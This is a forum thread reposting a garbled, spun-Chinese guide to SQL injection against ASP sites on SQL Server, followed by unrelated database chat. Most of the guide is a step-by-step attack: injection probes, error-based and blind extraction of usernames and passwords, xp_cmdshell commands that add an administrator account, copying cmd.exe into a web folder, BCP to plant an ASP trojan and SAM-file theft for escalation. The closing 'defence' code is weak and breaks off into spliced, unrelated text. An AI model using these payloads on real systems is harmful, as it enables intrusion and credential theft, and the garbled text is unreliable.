金色的骷髅 发表于 2015-1-16 22:34:51

MYSQL网页设计SQL注进不完整思绪与防注进程序

MySQL对硬件的较低要求是其最大的优势之一,不过需要注意的是:内存越多越好,因为所有的重要数据存储都在内存中完成。程序|防注进SQL注进不完整思绪与防注进程序
[繁w中文]|文章种别:数据库平安|文章品级:




|宣布日期:2005-2-13日曜日

[计数器|出色博客|邪术心情|博客请求|源码下载|IP查询|Html2Js]转自:静态网制造指南www.ckuyun.com  <一>SQL注进简介
  很多网站程序在编写时,没有对用户输出数据的正当性举行判别,使使用程序存在平安隐患。用户能够提交一段数据库查询代码,(通常为在扫瞄器地点栏举行,经由过程一般的www端口会见)依据程序前往的了局,取得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注进。
  <二>SQL注进思绪
  思绪最主要。实在很多多少人都不晓得SQL究竟能做甚么呢?这里总结一下SQL注进进侵的整体的思绪:
  1.SQL注进毛病的判别,即寻觅注进点
  2.判别背景数据库范例
  3.断定XP_CMDSHELL可实行情形;若以后毗连数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩大存储历程(挪用此存储历程能够间接利用操纵体系的shell)可以准确实行,则全部盘算机能够经由过程几种办法完整把持,也就完成了全部注进历程,不然持续:
  1.发明WEB假造目次
  2.上传ASP木马;
  3.失掉办理员权限
  详细步骤:
  1、SQL注进毛病的判别
  假如之前没玩过注进,请把IE菜单-工具-Internet选项-初级-显现友爱HTTP毛病信息后面的勾往失落。
  为了把成绩申明分明,以下以HTTP://www.ckuyun.com/news.asp?id=xx(这个地点是设想的),为例举行剖析,xx多是整型,也有多是字符串。
  1、整型参数的判别
  当输出的参数xx为整型时,一般news.asp中SQL语句原貌大抵以下:
select*from表名where字段=xx,以是能够用以下步骤测试SQL注进是不是存在。
  最复杂的判别办法
HTTP://www.ckuyun.com/news.asp?id=xx’(附加一个单引号),
  此时news.asp中的SQL语句酿成了
select*from表名where字段=xx’,
  假如程序没有过滤好“’”的话,就会提醒news.asp运转非常;但如许的办法固然很复杂,但并非最好的,由于:
  first,纷歧定每台服务器的IIS都前往详细毛病提醒给客户端,假如程序中加了cint(参数)之类语句的话,SQL注进是不会乐成的,但服务器一样会报错,详细提醒信息为处置URL时服务器上堕落。请和体系办理员联系。
  second,今朝年夜多半程序员已将“’“过滤失落,以是用”’”测试不到注进点,以是一样平常利用典范的1=1和1=2测试办法,见下文:
HTTP://www.ckuyun.com/news.asp?id=xxand1=1,news.asp运转一般,
  并且与HTTP://www.ckuyun.com/news.asp?id=xx运转了局不异;
HTTP://www.ckuyun.com/news.asp?id=xxand1=2,news.asp运转非常;(这就是典范的1=11=2判别办法)
  假如以下面满意,news.asp中就会存在SQL注进毛病,反之则大概不克不及注进。
  2、字符串型参数的判别
  办法与数值型参数判别办法基础不异
  当输出的参数xx为字符串时,一般news.asp中SQL语句原貌大抵以下:
select*from表名where字段=xx,以是能够用以下步骤测试SQL注进是不是存在。
HTTP://www.ckuyun.com/news.asp?id=xx’(附加一个单引号),此时news.asp中的SQL语句酿成了
select*from表名where字段=xx’,news.asp运转非常;
HTTP://www.ckuyun.com/news.asp?id=xxand1=1,news.asp运转一般,
  并且与HTTP://www.ckuyun.com/news.asp?id=xx运转了局不异;
HTTP://www.ckuyun.com/news.asp?id=xxand1=2,news.asp运转非常;
  假如以上满意,则news.asp存在SQL注进毛病,反之则不克不及注进
  3、特别情形的处置
  偶然ASP程序员会在程序员过滤失落单引号等字符,以避免SQL注进。此时能够用以下几种办法试一试。
  ①巨细定夹杂法:因为VBS其实不辨别巨细写,而程序员在过滤时一般要末全体过滤年夜写字符串,要末全体过滤小写字符串,而巨细写夹杂常常会被无视。如用SelecT取代select,SELECT等;
  ②UNICODE法:在IIS中,以UNICODE字符集完成国际化,我们完整能够IE中输出的字符串化成UNICODE字符串举行输出。如+=%2B,空格=%20等;URLEncode信息拜见附件一;
  ③ASCII码法:能够把输出的部分或全体字符全体
  <4>出了上述办法之外,另有个更复杂的办法就是利用现成的工具像NB同盟的NBSI就是一款很不错的工具,今朝最新的版本为2.2
  2、判别数据库范例
  分歧的数据库的函数、注进办法都是有差别的,以是在注进之前,我们还要判别一下数据库的范例。一样平常ASP最常搭配的数据库是Access和SQLServer,网上凌驾99%的网站都是个中之一。
  怎样让程序告知你它利用的甚么数据库呢?来看看:
  SQLServer有一些体系变量,假如服务器IIS提醒没封闭,而且SQLServer前往毛病提醒的话,那能够间接从堕落信息猎取,办法以下:
HTTP://www.ckuyun.com/news.asp?id=xx;anduser>0
  这句语句很复杂,但却包括了SQLServer特有注进办法的精华,我本人也是在一次偶然的测试中发明这类效力极高的猜解办法。让我看来看看它的寄义:起首,后面的语句是一般的,重点在anduser>0,我们晓得,user是SQLServer的一个内置变量,它的值是以后毗连的用户名,范例为nvarchar。拿一个nvarchar的值跟int的数0对照,体系会先试图将nvarchar的值转成int型,固然,转的过程当中一定会堕落,SQLServer的堕落提醒是:将nvarchar值”abc”转换数据范例为int的列时产生语法毛病,呵呵,abc恰是变量user的值,如许,不废吹灰之力就拿到了数据库的用户名。在今后的篇幅里,人人会看到良多用这类办法的语句。特地说几句,尽人皆知,SQLServer的用户sa是个同等Adminstrators权限的脚色,拿到了sa权限,几近一定能够拿到主机的Administrator了。下面的办法能够很便利的测试出是不是是用sa登录,要注重的是:假如是sa登录,提醒是将”dbo”转换成int的列产生毛病,而不是”sa”。
  假如服务器IIS不同意前往毛病提醒,那怎样判别数据库范例呢?我们能够从Access和SQLServer和区分动手,Access和SQLServer都有本人的体系表,好比寄存数据库中一切工具的表,Access是在体系表中,但在Web情况下读该表会提醒“没有权限”,SQLServer是在表中,在Web情况下可一般读取。
  在确承认以注进的情形下,利用上面的语句:
HTTP://www.ckuyun.com/news.asp?id=xx;and(selectcount(*)fromsysobjects)>0
HTTP://www.ckuyun.com/news.asp?id=xx;and(selectcount(*)frommsysobjects)>0
  假如数据库是SQLServer,那末第一个网址的页面与原页面HTTP://www.ckuyun.com/news.asp?id=xx是大抵不异的;而第二个网址,因为找不到表msysobjects,会提醒堕落,就算程序有容错处置,页面也与原页面完整分歧。
  假如数据库用的是Access,那末情形就有所分歧,第一个网址的页面与原页面完整分歧;第二个网址,则视乎数据库设置是不是同意读该体系表,一样平常来讲是不同意的,以是与原网址也是完整分歧。年夜多半情形下,用第一个网址就能够得知体系所用的数据库范例,第二个网址只作为开启IIS毛病提醒时的考证。
  3、断定XP_CMDSHELL可实行情形
  若以后毗连数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩大存储历程(挪用此存储历程能够间接利用操纵体系的shell)可以准确实行,则全部盘算机能够经由过程以下几种办法完整把持,今后的一切步骤都能够省
  1、HTTP://www.ckuyun.com/news.asp?id=xxanduser>;0news.asp实行非常但能够失掉以后毗连数据库的用户名(若显现dbo则代表SA)。
  2、HTTP://www.ckuyun.com/news.asp?id=xxanddb_name()>0news.asp实行非常但能够失掉以后毗连的数据库名。
  3、HTTP://www.ckuyun.com/news.asp?id=xx;execmaster..xp_cmdshell“netuseraaabbb/add”--(master是SQL-SERVER的主数据
库;名中的分号暗示SQL-SERVER实行完分号前的语句名,持续实行厥后面的语句;“―”号是注解,暗示厥后面的一切内容仅为正文,体系其实不实行)能够间接增添操纵体系帐户aaa,暗码为bbb。
  4、HTTP://www.ckuyun.com/news.asp?id=xx;execmaster..xp_cmdshell“netlocalgroupadministratorsaaa/add”--把方才增添
的帐户aaa加到administrators组中。
  5、HTTP://www.ckuyun.com/news.asp?id=xx;backuupdatabase数据库名todisk=c:inetpubwwwrootsave.db则把失掉的数据内容
全体备份到WEB目次下,再用HTTP把此文件下载(固然首选要晓得WEB假造目次)。
  6、经由过程复制CMD创立UNICODE毛病
HTTP://www.ckuyun.com/news.asp?id=xx;execmaster.dbo.xp_cmdshell“copyc:winntsystem32cmd.exe
  c:inetpubscriptscmd.exe”便打造了一个UNICODE毛病,经由过程此毛病的使用办法,便完成了对全部盘算机的把持(固然首选要晓得WEB假造目次)。
  如许你就乐成的完成了一次SQL注进打击,先别镇静,在理论时你就会发明这比实际要难的多会有更多的坚苦等着你comeover,上面GOON假如上述前提不建立则需持续搏斗(要挂马了:))
GOON~!
  当上述前提不建立时就要持续上面的步骤
  (一)、发明WEB假造目次
  只要找到WEB假造目次,才干断定安排ASP木马的地位,进而失掉USER权限。有两种办法对照无效。
  一是依据履历猜解,一样平常来讲,WEB假造目次是:c:inetpubwwwroot;
D:inetpubwwwroot;E:inetpubwwwroot等,而可实行假造目次是:
c:inetpubscripts;D:inetpubscripts;E:inetpubscripts等。
  二是遍历体系的目次布局,剖析了局并发明WEB假造目次;
  先创立一个一时表:temp
HTTP://www.ckuyun.com/news.asp?id=xx;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3
nvarchar(255));--
  接上去:
  1我们能够使用xp_availablemedia来取得以后一切驱动器,并存进temp表中:
HTTP://www.ckuyun.com/news.asp?id=xx;inserttempexecmaster.dbo.xp_availablemedia;--
  我们能够经由过程查询temp的内容来取得驱动器列表及相干信息
  2我们能够使用xp_subdirs取得子目次列表,并存进temp表中:
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id)execmaster.dbo.xp_subdirsc:;--
  3我们还能够使用xp_dirtree取得一切子目次的目次树布局,并寸进temp表中:
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--
  如许就能够乐成的扫瞄到一切的目次(文件夹)列表:
  假如我们必要检察某个文件的内容,能够经由过程实行xp_cmdsell:
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:webindex.asp;--
  利用bulkinsert语法能够将一个文本文件拔出到一个一时表中。如:bulkinserttemp(id)fromc:inetpubwwwrootindex.asp
扫瞄temp就能够看到index.asp文件的内容了!经由过程剖析各类ASP文件,能够失掉大批体系信息,WEB建立与办理信息,乃至能够失掉SA帐号的毗连暗码。
  固然,假如xp_cmshell可以实行,我们能够用它来完成:
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:;--
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:*.asp/s/a;--
  经由过程xp_cmdshell我们能够看到一切想看到的,包含W3svc
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id)execmaster.dbo.xp_cmdshellcscript
C:InetpubAdminScriptsadsutil.vbsenumw3svc
  可是,假如不是SA权限,我们还可使用
HTTP://www.ckuyun.com/news.asp?id=xx;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--
  注重:
  1、以上每完成一项扫瞄后,应删除TEMP中的一切内容,删除办法是:
HTTP://www.ckuyun.com/news.asp?id=xx;deletefromtemp;--
  2、扫瞄TEMP表的办法是:(假定TestDB是以后毗连的数据库名)
HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1idfromTestDB.dbo.temp)>0
  失掉表TEMP中第一笔记录id字段的值,并与整数举行对照,明显news.asp事情非常,但在非常中却能够发明id字段的值。假定发明的表名是xyz,则
HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1idfromTestDB.dbo.temp)>0whereidnotin(xyz))>0
  失掉表TEMP中第二笔记录id字段的值。
  (二)、上传ASP木马
  所谓ASP木马,就是一段有特别功效的ASP代码,并放进WEB假造目次的Scripts下,远程客户经由过程IE便可实行它,进而失掉体系的USER权限,完成对体系的开端把持。上传ASP木马一样平常有两种对照无效的办法:
  1、使用WEB的远程办理功效
  很多WEB站点,为了保护的便利,都供应了远程办理的功效;也有很多WEB站点,其内容是关于分歧的用户有分歧的会见权限。为了到达对用户权限的把持,都有一个网页,请求用户名与暗码,只要输出了准确的值,才干举行下一步的操纵,能够完成对WEB的办理,如上传、下载文件,目次扫瞄、修正设置等。
  因而,若猎取准确的用户名与暗码,不但能够上传ASP木马,偶然乃至可以间接失掉USER权限而扫瞄体系,上一步的“发明WEB假造目次”的庞大操纵都可省略。
  用户名及暗码一样平常寄存在一张表中,发明这张表并读取个中内容便办理了成绩。以下给出两种无效办法。
  A、注进法:
  从实际上说,认证网页中会有型如:
  select*fromadminwhereusername=XXXandpassword=YYY的语句,若在正式运转此句之前,没有举行需要的字符过滤,则很简单实行SQL注进。
  如在用户名文本框内输出:abc’or1=1--在暗码框内输出:123则SQL语句酿成:
select*fromadminwhereusername=abc’or1=1andpassword=123’
  不论用户输出任何用户名与暗码,此语句永久都能准确实行,用户容易骗过体系,猎取正当身份。
  B、猜解法:
  基础思绪是:猜解一切数据库称号,猜出库中的每张表名,剖析多是寄存用户名与暗码的表名,猜出表中的每一个字段名,猜出表中的每笔记录内容。
  a猜解一切数据库称号
HTTP://www.ckuyun.com/news.asp?id=xxand(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)0
  由于dbid的值从1到5,是体系用了。以是用户本人建的必定是从6入手下手的。而且我们提交了name>1(name字段是一个字符型的字段和数字对照会堕落),news.asp事情非常,可失掉第一个数据库名,同理把DBID分离改成7,8,9,10,11,12…便可失掉一切数据库名。
  以下假定失掉的数据库名是TestDB。
  b猜解数据库顶用户名表的称号
  猜解法:此办法就是依据团体的履历猜表名,一样平常来讲,
  user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并经由过程语句举行判别
  HTTP://www.ckuyun.com/news.asp?id=xxand(selectcount(*)fromTestDB.dbo.表名)>0若表名存在,则news.asp事情一般,不然非常。云云轮回,直到猜到体系帐号表的称号。
  读取法:SQL-SERVER有一个寄存体系中心信息的表sysobjects,有关一个库的一切表,视图等信息全体寄存在此表中,并且此表能够经由过程WEB举行会见。
  当xtype=Uandstatus>0代表是用户创建的表,发明并剖析每个用户创建的表及称号,即可以失掉用户名表的称号,基础的完成办法是:
  ①HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1namefromTestDB.dbo.sysobjectswherextype=Uandstatus>0)>0
失掉第一个用户创建表的称号,并与整数举行对照,明显news.asp事情非常,但在非常中却能够发明表的称号。假定发明的表名是xyz,则
  ②HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1namefromTestDB.dbo.sysobjectswherextype=Uandstatus>0and
namenotin(xyz))>0能够失掉第二个用户创建的表的称号,同理便可失掉一切用创建的表的称号。
  依据表的称号,一样平常能够认定那张表用户寄存用户名及暗码,以下假定此表名为Admin。
  c猜解用户名字段及暗码字段称号
  admin表中必定有一个用户名字段,也必定有一个暗码字段,只要失掉此两个字段的称号,才有大概失掉此两字段的内容。怎样失掉它们的称号呢,一样有以下两种办法。
  猜解法:此办法就是依据团体的履历猜字段名,一样平常来讲,用户名字段的称号经常使用:username,name,user,account等。而暗码字段的称号经常使用:password,pass,pwd,passwd等。并经由过程语句举行判别
HTTP://www.ckuyun.com/news.asp?id=xxand(selectcount(字段名)fromTestDB.dbo.admin)>0“selectcount(字段名)from表名”
  语句失掉表的行数,以是若字段名存在,则news.asp事情一般,不然非常。云云轮回,直到猜到两个字段的称号。
  读取法:基础的完成办法是
HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1col_name(object_id(admin),1)fromTestDB.dbo.sysobjects)>0。
selecttop1col_name(object_id(admin),1)fromTestDB.dbo.sysobjects是从sysobjects失掉已知表名的第一个字段名,当与整数举行对照,明显news.asp事情非常,但在非常中却能够发明字段的称号。把col_name(object_id(admin),1)中的1顺次换成2,3,4,5,6…便可失掉一切的字段称号。
  d猜解用户名与暗码
  猜用户名与暗码的内容最经常使用也是最无效的办法有:
  ASCII码逐字解码法:固然这类办法速率较慢,但一定是可行的。基础的思绪是先猜出字段的长度,然后顺次猜出每位的值。猜用户名与猜暗码的办法不异,以下以猜用户名为例申明其历程。
HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1len(username)fromTestDB.dbo.admin)=X(X=1,2,3,4,5,…n,username
  为用户名字段的称号,admin为表的称号),若x为某一值i且news.asp运转一般时,则i就是第一个用户名的长度。如:当输出
HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1len(username)fromTestDB.dbo.admin)=8时news.asp运转一般,则第一个用户名的长度为8
  HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1ascii(substring(username,m,1))fromTestDB.dbo.admin)=n(m的值在1到上一步失掉的用户名长度之间,当m=1,2,3,…时推测分离推测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的恣意值;admin为体系用户帐号表的称号),若n为某一值i且news.asp运转一般时,则i对应ASCII码就是用户名某一名值。如:当输出
HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1ascii(substring(username,3,1))fromTestDB.dbo.admin)=80时news.asp运转一般,则用户名的第三位为P(P的ASCII为80);HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1ascii(substring(username,9,1))fromTestDB.dbo.admin)=33时news.asp运转一般,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及暗码后,同理,能够猜出其他一切用户名与暗码。注重:偶然失掉的暗码多是经MD5等体例加密后的信息,还必要用公用工具举行脱密。大概先改其暗码,利用完后再改返来,见上面申明。复杂法:猜用户名用HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1flagfromTestDB.dbo.adminwhereusername>1),flag是admin表中的一个字段,username是用户名字段,此时news.asp事情非常,但能失掉Username的值。与上一样的办法,能够失掉第二用户名,第三个用户等等,直到表中的一切用户名。
  猜用户暗码:HTTP://www.ckuyun.com/news.asp?id=xxand(selecttop1flagfromTestDB.dbo.adminwherepwd>1),flag是admin表中的一个字段,pwd是暗码字段,此时news.asp事情非常,但能失掉pwd的值。与上一样的办法,能够失掉第二用户名的暗码,第三个用户的暗码等等,直到表中的一切用户的暗码。暗码偶然是经MD5加密的,能够改暗码。
  HTTP://www.ckuyun.com/news.asp?id=xx;updateTestDB.dbo.adminsetpwd=a0b923820dcc509awhereusername=www;--(1的MD5值为:AAABBBCCCDDDEEEF,即把暗码改成1;www为已知的用户名)用一样的办法固然可把暗码改本来的值。
  2、使用表内容导成文件功效
  SQL有BCP命令,它能够把表的内容导成文本文件并放到指定地位。使用这项功效,我们能够先建一张一时表,然后在表中一行一行地输出一个ASP木马,然后用BCP命令导出构成ASP文件。
  命令行格局以下:
bcp"select*fromtext..foo"queryoutc:inetpubwwwroot163.aspCcCSlocalhostCUsaCPfoobar
  (S参数为实行查询的服务器,U参数为用户名,P参数为暗码,终极上传了一个163.asp的木马)
  3、使用工具,如NBSI给出的一些参考数据最主要的表名:
select*fromsysobjects
sysobjectsncsysobjects
sysindexestsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
  最主要的一些用户名(默许sql数据库中存在着的)
public
dbo
guest(一样平常克制,大概没权限)
db_sercurityadmin
ab_dlladmin
一些默许扩大
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia驱动器相干
xp_dirtree目次
xp_enumdsnODBC毗连
xp_loginconfig服务器平安形式信息
xp_makecab创立紧缩卷
xp_ntsec_enumdomainsdomain信息
xp_terminate_process终端历程,给出一个PID
  (三)、失掉体系的办理员权限
  ASP木马只要USER权限,要想猎取对体系的完整把持,还要有体系的办理员权限。怎样办?提拔权限的办法有良多种:
  上传木马,修正开机主动运转的.ini文件(它一重启,便逝世定了);
  复制CMD.exe到scripts,工资打造UNICODE毛病;
  下载SAM文件,破解并猎取OS的一切用户名暗码;
  等等,视体系的详细情形而定,能够接纳分歧的办法。
  那末我们怎样防注进呢?程序以下到场到asp或html或php或cgi内里都能够。经由测试。到场如top.asp文件中开首
  办法一:
<%ifsession("username"=""orsession("userkey"=""then
response.redirect"../../"
endif%>
  (申明:只需有效户注进则跳转到../../目次,呵呵,看你怎样给我注进)
  办法二:
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
ifmid(server_v1,8,len(server_v2))server_v2then
response.write"<br><br><center><tableborder=1cellpadding=20bordercolor=blackbgcolor=#EEEEEEwidth=450>"
response.write"<tr><tdstyle=“font:9ptVerdana">"
response.write"你提交的路径有误,克制从站点内部提交数据请不要乱该参数!"
response.write"</td></tr></table></center>"
response.end
endif
%>
<P>  (申明:只需有效户注进则判别为内部如IBM公司最近宣布让渠道合作伙伴分销其SaaS应用程序的新计划。微软认为MySQL学习教程是销售其云计算服务的重要组成部分。然而即使有这种趋势,DBaaS仍然不同于内部数据库,解决方案提供商必须认识到这一点;否则,他们不仅仅是丢失几个客户,而是要失去的更多。

透明 发表于 2015-1-19 17:26:17

呵呵,这就是偶想说的

若相依 发表于 2015-1-28 09:09:42

在select语句中可以使用groupby子句将行划分成较小的组,然后,使用聚组函数返回每一个组的汇总信息,另外,可以使用having子句限制返回的结果集。

深爱那片海 发表于 2015-2-5 20:20:58

两个月啃那本sqlserver2005技术内部-存储引擎,花了几个月啃四本书

蒙在股里 发表于 2015-2-13 12:44:32

可以动态传入参数,省却了动态SQL的拼写。

仓酷云 发表于 2015-3-3 21:19:11

一直以来个人感觉SQLServer的优化器要比Oracle的聪明。SQL2005的更是比2k聪明了不少。(有次作试验发现有的语句在200万级时还比50万级的相同语句要快show_text的一些提示没有找到解释。一直在奇怪。)

再见西城 发表于 2015-3-11 13:53:16

分区表效率问题肯定是大家关心的问题。在我的试验中,如果按照分区字段进行的查询(过滤)效率会高于未分区表的相同语句。但是如果按照非分区字段进行查询,效率会低于未分区表的相同语句。

冷月葬花魂 发表于 2015-3-18 17:16:08

同样会为索引视图等应用带来麻烦。看看行级和事务级的快照数据放在tempdb中,就能感觉到目前架构的尴尬。

莫相离 发表于 2015-3-26 08:45:02

原理很简单,对要求长时间计算某一时间点的报表生成和防用户操作错误很有帮助。但是比起Oracle10g的闪回技术还是细粒度不够。可惜!
页: [1]
查看完整版本: MYSQL网页设计SQL注进不完整思绪与防注进程序